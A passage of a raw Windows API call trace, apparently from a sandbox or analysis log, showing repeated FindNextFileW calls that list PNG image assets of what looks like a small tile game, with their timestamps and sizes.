ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba036d48, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba036d48, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba05cea7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba05cea7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0a9165, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0a9165, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc089695c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08bcabc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0f5423, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0f5423, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0908d7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1b3afe, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1b3afe, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0908d7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x46a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba24c07a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba24c07a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_down.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba225f1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba225f1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_over.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2721d9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2721d9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2e45f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2e45f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2e45f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2e45f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba30a755, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba30a755, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3308b4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3308b4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba356a13, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba356a13, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba356a13, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba356a13, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37cb72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba37cb72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09a12fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0090.196] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37cb72, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba37cb72, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3a2cd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3a2cd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3a2cd1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3a2cd1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09c745c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3c8e30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3c8e30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09ed5bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3c8e30, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3c8e30, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc09ed5bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba3eef8f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba3eef8f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a1371c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4150ee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4150ee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a3987c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4150ee, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4150ee, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0a3987c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba43b24d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba43b24d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0aabc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4613ac, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4613ac, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0ad1dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0ad1dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="setting_back.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_down.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba298338, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba298338, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_over.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b1e0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_up.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b6a37c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba18d99f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba18d99f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b6a37c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_bezel.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba18d99f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba18d99f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0bdc79c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_drop_shadow.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba225f1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba225f1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_down.png", cAlternateFileName="")) returned 1 [0090.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd37, dwReserved0=0x0, dwReserved1=0x0, 